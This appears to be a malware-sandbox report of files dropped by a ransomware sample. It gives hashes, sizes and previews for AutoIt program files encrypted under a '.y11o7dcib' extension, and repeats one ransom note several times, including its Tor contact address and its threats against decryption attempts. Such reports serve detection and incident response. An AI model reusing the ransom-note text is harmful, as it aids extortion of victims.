Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\Windows Portable Devices\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\WindowsPowerShell\Modules\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\WindowsPowerShell\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\autoit3\Au3Check.dat.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13399
Entropy (8bit):	6.740297724220272
Encrypted:	false
SSDEEP:	192:p4AcARaqt2PHT78tTBBmlC9LVIpcm3shemhTBclT6PrY7pOgTM/Lb8+sS:pLcAhtGUtyc9LVze2c16zY75TAb8q
MD5:	4C1469D1F688112CD8FD56DD50182BD7
SHA1:	200876D2D2CE9DF59BCDF468F39B2AC290DC389C
SHA-256:	2A50D481B88EBC8CCE0E32885B11991F6C4899F30BB0C8AAAB974611EE1C1E85
SHA-512:	E2C659B1C344D8ED43D139BD45675F79E1246DD2E7A8ABA4CBF9DF7DEC99249DD8C7F2318F79F2C8847B3EC984F13CAD5E231971CE573C6DDF1F1F0AEAB33F5E
Malicious:	false
Preview:	.!..y. .Q\R...q..4....B..\.U..v@.Tk..:6..(..i.t`........g..e @AutoItPID @AutoItVersion @AutoItX64 @COM_EventObj @CommonFilesDir @Compiled @ComputerName ..@ComSpec @CPUArch @CR @CRLF @DeskO....}.*...c...}........<..l.t.cl..Pv..!.....e.if.....0..=c..fresh @DesktopWidth ..@DocumentsCommonDir @error @exitCode @exitMethod @extended @FavoritesCommonDir @FavoritesDir @GUI_CtrlHandW....E.../.}..X../.4......I....PV.}v... ...?.r.rn........z.(andle @HomeDrive @HomePath @HomeShare @HotKeyPressed @HOUR @IPAddress1 @IPAddress2 ..@IPAddress3 @IPAddress4 @KBLayout @LF @LocaW#..q.$.2.1.....".#...)....]..xm..Te..s......~.rw........^.. ..@MON @MSEC @MUILang @MyDocumentsDir @NumParams @OSArch @OSBuild @OSLang @OSServicePack @OSType ..@OSVersion @ProgramFilesDir {2..b.(...\|...\..F. ...:.._.x..WP.Pt..:6..:..D.tG.....!....p..ptLineNumber @ScriptName @SEC @StartMenuCommonDir ..@StartMenuDir @StartupCommonDir @StartupDir @SW_DISABLE @SW_ENABLE @SW_HIDE {1.._....+F..@../.5.....e.X.MF..jS..

C:\Program Files (x86)\autoit3\Au3Check.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	234402
Entropy (8bit):	7.083278680176162
Encrypted:	false
SSDEEP:	3072:Du/qsgvuww1JW0QCH+aO00vS0AgzBsDfUnKGZtZKcpkjT4NF+W/stOzNGY583:DQqsXwaW8O00v3sfEKE+cGjTGT/stg63
MD5:	9A7D1C51ADC7743D1397B3B558C2CBC9
SHA1:	707803D567F319997773BEBFF446F6F5CCBAA2A3
SHA-256:	9CFB84B913D31D345030A0082F6C9889C61AAD946470C5B3D0D9A49DB993B141
SHA-512:	6FE84111CB3AEE5A401154CBD5BA3E531FC2E1357A2A558F8DDA6A075EA7DEC7C01AFEDA5B7B73973C3804265A176602582AE8B8FA2BAD217F1E8283476F1C4D
Malicious:	false
Preview:	)........t9]Q..%..$o...[.9x."....j;.[Z.H...st....V.......C........!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-..q1. .0F.p/...F..Cy..v.......(...yX........!..q.........C................PE..L...g.(c.....................6......&........0....@..................................e......................d.T......t9]..%..'o...[..9.."....j;.7Y. ...st....V........C.........................L..@............0..,............................text............................... ..`.rdata...8...0..d.U......t9]..%9.$o.....M..".J.....8.QZ.H...st....V........rsrc........p.......f..............@..@........................................................................................d.T......t9]..%9.$o...[...9x."....j;.[Z.H...st....V.......C................................................................................................................................d.T......t9]..%9.$o...[...9x."....j;*

C:\Program Files (x86)\autoit3\Au3Info.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	176546
Entropy (8bit):	7.233336788452048
Encrypted:	false
SSDEEP:	3072:uze1SNekw8kVqeyxl9qykQfYO5g8/8jfmLoF52PRX+PzDUK3GuEDEIFOv:gZNNOqFxOykY9Gs+X3M14
MD5:	61747C8918D51F00F919A86A7FBC8975
SHA1:	F11FE747F21CEE43B1346307C47B3BE1EBD516A2
SHA-256:	E33B9EB12CFC91244E425F5B603C2EFDABFDD6AD6DAC7FD39318AD54A1B03D60
SHA-512:	29857BB29E89531FA0E0CBC7A58267CC714AD10EFD21E8DC4FC6866A8AA2147C04AC61668EC3227D1806752CFD5B604AB079294673F95510DD2C3BB22BC6B601
Malicious:	false
Preview:	..D.?].m.Y2...{.L.Ys5....w.....wNNA.[lv...!. ..]CY&....P...=`........!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9...k.OT.......B..ya...~..NJ....2w.q.U....z...4 1\|Yn...P...=`PE..L...C.(c.........."......:...........\.......P....@.......................................@.....................................].m..<.#..{gL.Ys5...j.wy.....AN..[l...... ..]CY&....P...=`............@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>...........E..\|].-.=S.rP.{...Ys.....w.+...wNNA.[lv...a. Q./0+E...{P../3`....................@..@.reloc..D....`.......r..............@..B.................................................................E..<].m.Y2..P.{gL.Ys5....w.....wNNA.[lv...!. ..]CY&....P...=`.................................................................................................................................E..<].m.Y2..P.{gL.Ys5....w.....wNNA.[l

C:\Program Files (x86)\autoit3\Au3Info_x64.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	196002
Entropy (8bit):	7.0961707108804575
Encrypted:	false
SSDEEP:	3072:EXu3O9ZdMwaZgCD9bP6EzBJsDA03JNYUSmWAXVDbXlhIqqXKNXW2L9:EXGbgC5C+3eqoVjIqqaNhL9
MD5:	D1EBCE40881A64206D88021DCE7B5A2A
SHA1:	8D91CBC51FD1A16F26B0629A265DE8458AA9EED0
SHA-256:	79D7DC2B0AE7E00D284C97335A9846A090FAA10D00A38A0A690556B3C9062A47
SHA-512:	D54C70001E364856D604D34B4DD593406735C27626113B08D05EDB31AB62BFA065ED2871138E97D498E7067CA0E3F633F4DF548B821B726739027DA3C0AF3B2A
Malicious:	false
Preview:	.3.......y9....8......d.....K+1..L..>..:Y8N+..^h"...G.Is..rq..........!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X...I.].........O....<fS_.v...>....&:}f...h..'K.:K.\|K..Is..bp..................PE..d...G.(c.........."......J...^......Tr.........@....................................e.....`..................iy......y9TE.........dJ....K+1..N.i>..:y7N..^h"...G.I....V......L.......8............................................`..`............................text....H.......J.................. ..`........8y9T%...)...E.dJ....K+1..L..>...=Y:J..^.....E.Iy..bv..............@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc..L........................ii....@..y9TE.........dJ....K+1..L..>..:Y8N+..^h"...G.Is..bp...................................................................................................................................ii......y9TE.........dJ....K+1..L..>..

C:\Program Files (x86)\autoit3\Aut2Exe\Aut2exe.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1634714
Entropy (8bit):	7.714401627610644
Encrypted:	false
SSDEEP:	49152:YkeKhWB6pu2LJFmZdzHc4dsPlizysTsKH:1eKhWspJloFHc4O9i0KH
MD5:	EA68429A55D55E3C79A477E9B8381819
SHA1:	C0A6AD56B0245F70F30EC1D7C4852895A6CD5B2E
SHA-256:	BD5A3E408F249BAAA0C19623ED75228E4AD72977A92788A7366561EB65283A9D
SHA-512:	75A492DCBA129FB374FA027E5E88F58EDACDDAD84B4AA1B8567AC8E6171EFB156D749962F624E8829DBF69BB94B1F7ACBB708163B536E5438F42C6ECC435942C
Malicious:	false
Preview:	...]..P[.X).q.t....Z8.'lL.`:.@&.6(4..TD+.v........3Q..rQ....Jo.........!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5.............................R...&.}.z_.[.gy..U.D.....@~..=l..v.G;.Z.Q.~..[......."................PE..L...9.(c..........#..................d............@.......................... ...............................PW]..P[.X)...t....Z<.'l.tg:..7.6(4..TD+....s.....3Q..r.)..NKo.............................@...............X............................text.............................. ..`.rdata..$H........V]..U[.X)...t.2..Zx.',"`.N.@&..h4..tC+.`........3Q..rQ...~Ko!.rsrc...X....p......................@..@.........................................................................................PW]..P[.X)...t.2..Z8.'l..`:.@&.6(4..TD+.v........3Q..rQ...>Ko..................................................................................................................................PW]..P[.X)...t.2..Z8.'l..`:.@&.6(4..TD+

C:\Program Files (x86)\autoit3\Aut2Exe\Aut2exe_x64.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1800602
Entropy (8bit):	7.656382071636846
Encrypted:	false
SSDEEP:	49152:F7BgLNTFxvvXeOE03H9oz3ivwS5L6cIH+:4LbxbE03dozgw3H+
MD5:	DFB1B4AD1A1649DCE206E4717C58E04F
SHA1:	F866894DCD58B82A4902790931B5733775227591
SHA-256:	45F7BFCF2FF67950DD604122C15E57CDEA4BCEED717ADA0C03DA8418EA035031
SHA-512:	32B3D81F57F140E8D0948DFA5254F38EAEA518E008A9425780F42C9139F9CAE59F35BBB064EA1F400DF9555A3FC9490B64F2FAC2DEFFE03498D38F6821C50DC4
Malicious:	false
Preview:	..>w... a..F.>o.@.K...\O..z..g...,L...P....:v...LhC.)-......\.........!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...p..H.......y....<.J..4X...N...".u..Eg\........8@np.Q=..1.@..z..E`.........PE..d...>.(c..........#..........0......(..........@....................................4..... ..........................w... e...R>oL@.K...\...z.g...&L..P.4........sC..-......]..n..p...................0p..(...0o...............0...............................text............................... ..`.rdata..~r.w... e`..p9oL@.K...\...zn.gC.rM8...P~...:F...lhC..$......].....@....pdata...e.......f...@..............@..@.rsrc...X...........................@..@.........................................w... e...R>oL@.K...\...z..g...,L...P....:v...LhC.)-......]..................................................................................................................................w... e...R>oL@.K...\...z..g...,L...P

C:\Program Files (x86)\autoit3\Aut2Exe\upx.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	305466
Entropy (8bit):	7.997536823188181
Encrypted:	true
SSDEEP:	6144:vcS4ruoRQn+alWn66CEW0UsguSUWP9iniNaQbF9mFhNBRFf90R5IvdnOc91FUdxh:X48+6u6MW0fUinIq5f90R5I11FO9V8/E
MD5:	A7D0064DEEBFCD1F2DD4FF5740D0E886
SHA1:	E70624F0FB45CD22E23268EACF4196D9C907521E
SHA-256:	2AB0D15AAABAE8C522E4A752E5D3ACD7192A98F0BDD621FD348C75058D2635AF
SHA-512:	B33D9B50D5F4B60563F824C14A0F747D20FA7B42BD561CABF5A81A73F1AA125963C4FADACC018F887E15CE9B6300267676B0B50CC8A5C601776EC12EA924E728
Malicious:	false
Preview:	.S..x.....x..........2....a.U..9p.L....q.wh.{p..].W.7=...2C.........!..L.!This program cannot be run in DOS mode....$.......PE..L......................8.........................@.............z.....xd&..4.....r....a.U...p.L....q.gh.{p..M.W.7=..y2C........................................................................................................................UPX0........{......xd$..4.....r...ba...aA.L..u.q.g}.{...].W.7=..y2C.....@....rsrc...............................@...3.91.UPX!..........5.............&.......X.b...x{...S..H.....b..>....:cJ....Vf.....LbE.#."......n......A\a.....^...W...N....dJ.o.1................:s.@.o.n..B%.4.c6.6{...G............N..G........M....,R.\|.....Mb{....3w.\|S.+h.g.GS0x.nq<!k_..4.N......h...y..f..4U.....D.x.5b..$..D..8c.....M...q....0t.....A.....H.]......1.03.,>I.>'.Rx.....Z'...G..wIk}/{...3.....qvR..[.k.ob.0..z.t.%...nj.......9@..a...X..P/..v.V....jE..H\|.E..........oz.@.^c....c^.@...A......../....

C:\Program Files (x86)\autoit3\AutoIt v3 Website.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	518
Entropy (8bit):	6.831514961676691
Encrypted:	false
SSDEEP:	6:IXVx1yJ8eNS1t4xRiHx7Ut1F1aIRWECDBwzWXHG25xfW1N2Kjg5tTqDQR:IXT1EC1t4jjLhRMDBwCXHG2XZRTqDS
MD5:	860EE9C017E093E8242D1F8332B4FA2F
SHA1:	9BD29077BAE44166D93C49630119D4A92111B209
SHA-256:	9407355459ECE991A97605206A12F176F464268DC71D79BD4AA41CC1F6C96380
SHA-512:	351C82E9FA810504AC8DFECA369CF310E052E16C43BF8FB8AFA6684DB8E354FF19B7F3A8234D24BD05502AAB4A0B33FE08FBC077051964E8E304250A4FDEAE3C
Malicious:	false
Preview:	z.p.:.^g..J7.W.M..t......OX......sRF.{...:]{..C30....j~.R.-Hw..L,....._l:.N=SK.L.wV......NX.C#..m.SEl.../_...Xs}....C....R\|..^.....(Yq../R&L.s.4D..............4L.["...y.J...0c.W..3:.M.l.e..iProp3=19,2.....%4+..%.?..:5#[6...g.-.7p.p...i..!..}.CdnFI..(.y.[Fkf.r.K.....a.Y.C#.........I.P`V../.Z".d.WK..?s.?}'..2<9..*.O.~X..,.XD++.-.cN>.b)H.D#Q~.M.8.."........2...?i1....GP..^y.4.....8tUz7.9h..D.}.R.n..P.E...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\AutoIt.chm.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7185955
Entropy (8bit):	7.9953678575997875
Encrypted:	true
SSDEEP:	196608:KJxezO7IdHa90O+ORe5K30JVUctRRKIW0hLJe:qxDoAYORXkJVU4kchLJe
MD5:	AA2A052A6DFD81205286D84E0FDCBF33
SHA1:	EBCEFEF952965433F45986798AE2357B318EDE70
SHA-256:	FDAB86E05BD89E2E15F1EAF727552CE7F547641D18B00B540A3848A3846DCC25
SHA-512:	97D528753605F8911404EEEDF29810C7656A7A503BD01EE149D93AE0A25154CE386B2A0C347B68454710A3239109EB01273E535BC19391FB63AAF640287C4452
Malicious:	false
Preview:	cI3N.0s...y..C..?.(I..q...p...Z..R>A..o..sX$.G..........b..........x.......T`.......`...............m.............ITSP....T...................5.......4.......6.......j..].!......."..T........c.D.L..I.h..J@..q<.5..9KD2R......*l..m..7..H.o.8..6...../#IVB....q../#STRINGS........./#SYSTEM....E./#TOPICS....$..../#URLSTR....0..d./#URLTBL....$..../#WINDOWS....%.L./$FIftiMain.......z.G.;...].>.P.):.d.0.[..J$&t3...%.W..lVX..>..3.......Links/Property....e../$WWKeywordLinks/..../$WWKeywordLinks/BTree....}..L./$WWKeywordLinks/Data....I..b./$WWKeywordLinks/Map....+..y'3g$......'B.Qc.e....f.u.u...=@....?A....3=..#..j..R)@..utoIt3 TOC.hhc.....z./html/..../html/appendix/..../html/appendix/AppendixRef.htm....W.../html/appendix/ascii.htm.......!"/html/Km.myT..L.....z.Pf.>!....\|.a.l....K.....d.T...2,...$.)._..cP:(>.9./html/appendix/ExitCodes.htm....P.M./html/appendix/fonts.htm....m././html/appendix/GuiStyles.htm....w..9!/html/appendix/Limi^n$mqQ....W....n........y.#.I.+y;...

C:\Program Files (x86)\autoit3\AutoIt3Help.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	124818
Entropy (8bit):	6.82602884119979
Encrypted:	false
SSDEEP:	3072:QvtDfC/+C+wmgd/9fvC7wvEsPQ/vI6c9DXHtq:QvtU+CBLIHaXNq
MD5:	A46B4EF460415E316F36EF2E9025BF89
SHA1:	24F2AE5FB5F2940D1DBF54D2CE3A690435D7FB22
SHA-256:	8708FAFAD33C5D7B8826B6AC658DC2F6673977E1090ABFFB305E373D91EB21F4
SHA-512:	69DA61D22D90CCFF2D70D8D80D4EBD325E6B14079FAFEFC74FA46E8E2D7937385FAB1E9F9E153331E8DB92312029D7E72875DF0AC705C4370EBD44DFD50B4329
Malicious:	false
Preview:	..~a....(..cP.^U.^y&-.@..........<~...j...tC..>: ...\.aUS.........!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>s.H_- .......p/`...G...~.=.6t..rW<i.K#.M.=..J........5..f.........................PE..L.....(c..........................................@.......................................@..........M.a..,.....^.^y&-.@!.........[.~...j...tCi.>b......][S.....8...............................@...............t............................text.............................. ..`.rdata.....a./..,...o.^.^y&-.@..........v.<~.o.j...tC..>:....\.yTS.....@....rsrc.......P.......*..............@..@.reloc..$...........................@..B.........................................M.a....,.....^.^y&-.@...........<~...j...tC..>: ...\.yTS..................................................................................................................................M.a....,.....^.^y&-.@...........<~.

C:\Program Files (x86)\autoit3\AutoIt3_x64.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1072018
Entropy (8bit):	7.16731115588258
Encrypted:	false
SSDEEP:	24576:N2aCSpBln27nS+83Nl9NrnL5JK+TW3vAXFIbboIy5294j:kaCY27nS+uNl9NrjTyvAXObb1PKj
MD5:	07445CB2CDE1D3F30A586069D2F4822E
SHA1:	ACA2E52AFA94FD2B1B9F38C22BDA9F5B7CD01E68
SHA-256:	3EEDDBB256E54BDF70A4E9005A92E070CEFFB84C3C418DBDFE3961DA119D35A1
SHA-512:	1931559EC7554D9E817AEABE94905D435E287A06EED50825AA8BC1F4BD2E9C70E696821531B3C7F7C157709EB836C945A56CBA5A94C0191443339F349743602B
Malicious:	false
Preview:	J8......\|F)Z...'...>.{v]...<.m..........rz.....3{9D:e..L..g........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#l[.=....Ho.yr...v.b..l~......w>.Z..J...,..+e(8....#g.]..T..D9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H..........Z.........@.....................................q....`..bK.....xV)ZCR.'F..>.{v]..<.m..........rz..,..3Vz9D:.p.<!.g.P...o...4..X&......\|... .......................p...(...@................`..8............................text...<G.......H.......b......xF)ZcR.Gh.._..v]...<..f..O..U....rz.....3j{9........g ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc..\|........n......xF)ZCR.'F..>.{v...<.m..........rz.....3*{9D:e..l..g.................................................................................................................................b......xF)ZCR.'F..>.{v]..<.m........

C:\Program Files (x86)\autoit3\AutoItX\AutoItX.chm.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	200700
Entropy (8bit):	7.931812547421521
Encrypted:	false
SSDEEP:	6144:VVXfxgddcNuzjWxGU3vu3jxuOEVy18sY1m4rXBcJw:DZgjhzjWb3vuTx7EVm8sYsMXBcW
MD5:	0D0CB5D998F7DCDEAC2CA63FF421595F
SHA1:	D45E8B36938F8A41EE54F7731496C7E2B53EB9B4
SHA-256:	27C04A64359ABF11DB4C048A303C23D42EC2FF69441C00DF79969A7D13399EB1
SHA-512:	32D4DBEDBED70DF01DF6676FD310187766FB90F6FA36EC59570E0B7EE6BA6704A8760CBC9B4831B045EE262686B7ACF549B3D82CDD1E0B0459E53544E621B7F2
Malicious:	false
Preview:	.T.q.ZC.[)) y......*rz...ao..1:R../.S.......e....5Wpn.f............x.......T0.......0..............................ITSP....T...........................................j..].!......."..T...E.c...g...q4.....#zz.m...1..+....kyvp.....L.Br....c3........./#STRINGS...4.-./#SYSTEM..N.6./#TOPICS...x.0./#URLSTR...L.h./#URLTBL...(.$./#WINDOWS...u.L./$FIftiMain......c./$OBJINST...z.../.W..e5 .:]@W......#zz..P7Dq..D..v...<..)..N...G..M.a.......eywordLinks/..../$WWKeywordLinks/BTree...A.L./$WWKeywordLinks/Data.....'./$WWKeywordLinks/Map...4"./$WWKeywordLinks/Property...V.....b5....`O......".....D...._..c.K%.../....;...N.$d.....tml/appendix/..../html/appendix/AppendixRef.htm...R.j./html/appendix/ascii.htm...<..L./html/appendix/SendKeys.htm.....S./html/co._...s(%.8L.!y.....OU...+.}D..M..r...4..4...0....T..%.......m_interface/methods.htm...M.[./html/com_interface/methods/...//html/com_interface/methods/AutoItSetOption.htm...$..'/html/com_in.e..u?l.>]AN.......d........E..8...5\|

C:\Program Files (x86)\autoit3\AutoItX\AutoItX.psd1.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	5.738105922259377
Encrypted:	false
SSDEEP:	768:68pZ7c7rHILBONzztuds0fm34YywtkP1c:6887rHQONzZuds0f3jwtsc
MD5:	AFB4F81143CEB66B6B25C0FF0D891397
SHA1:	B934F978F1DA1CC6D1D10DB96550AA0CA9A438A5
SHA-256:	5DAE4337A4E067A4F829614F3855170CBF66DA4D2DD19391C26457E63E73B42A
SHA-512:	46F6A2DFB9EFAF003DA4FFA3FFE2174F7F0FFC7953D3A4A7C1C33AB7914C15A46EFC24D4FB7928E5611BB03B916922C0F9661B16BA44ADF18C6F2DE97ED9793A
Malicious:	false
Preview:	N.s!1.....7.M.,6.=.]........I8S....u.&.......'.m...s.8?.{... .'.A.u.t.o.I.t.X.3...P.o.w.e.r.S.h.e.l.l...d.l.l.'.....#.....#. .G.e.n.e.r.a.t.e.d. .b.y.:. .J.o.n.a.t.h.a.n. .B.e.n.n.e.t.t......s!1.....7.M.,<.-.C...D...I>S...&.c.....K.f.b....s.8r...s.#.........@.{.........#. .S.c.r.i.p.t. .m.o.d.u.l.e. .o.r. .b.i.n.a.r.y. .m.o.d.u.l.e. .f.i.l.e. .a.s.s.o.c.i.a.t.e.d. .w.i.t.h....sD1....7&M.,<.!.W...C.....I[S....b.'...../.:.....s.8/.d... .=. .'.A.u.t.o.I.t.X.3...P.o.w.e.r.S.h.e.l.l...d.l.l.'.........#. .V.e.r.s.i.o.n. .n.u.m.b.e.r. .o.f. .t.h.i.s. .m.o.d.u.l.e......sa1...^7'M.,..-.C...Y...IlS...5.\|.....K.{.}....s.8G...Z. .I.D. .u.s.e.d. .t.o. .u.n.i.q.u.e.l.y. .i.d.e.n.t.i.f.y. .t.h.i.s. .m.o.d.u.l.e.....G.U.I.D. .=. .'.9.1.e.2.4.4.f.b.-.b.6.6.6....s.1.....7rM.,`.y...T......IbS...4.4.....\.X.G....s.8j.V...t.h.o.r. .o.f. .t.h.i.s. .m.o.d.u.l.e.....A.u.t.h.o.r. .=. .'.J.o.n.a.t.h.a.n. .B.e.n.n.e.t.t.'.........#. .C.o.m.p.a.n.y. .o.r....sI1...D79M.,=.......X.....I<S....s.

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.Assembly.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44442
Entropy (8bit):	6.999548543982086
Encrypted:	false
SSDEEP:	768:COvmC1OVJh/i/RDoLa808h+w48NUtDOLW7LOL2giMUhtttktpBgWrMfj7m/2XULO:2uLtZbbJtnknMhOCp
MD5:	361F4C5A0D5CF75F26B846FE0905B2C7
SHA1:	7029A5CD71D59702CEFCE896CA54397B21C77FE2
SHA-256:	C6F330A3321974EDFB5E8D4632BCD43B5647D91BD1DDEEBA50F3579FC702AB96
SHA-512:	20979CDE593C4C6761487AD77B2820DE89C0B92090B4F96B1668E4CA67C2105099C08AF0D9EEE50C2E5DD004B16A298D81D9F66EA4CD4B7725BC1E961984E90E
Malicious:	false
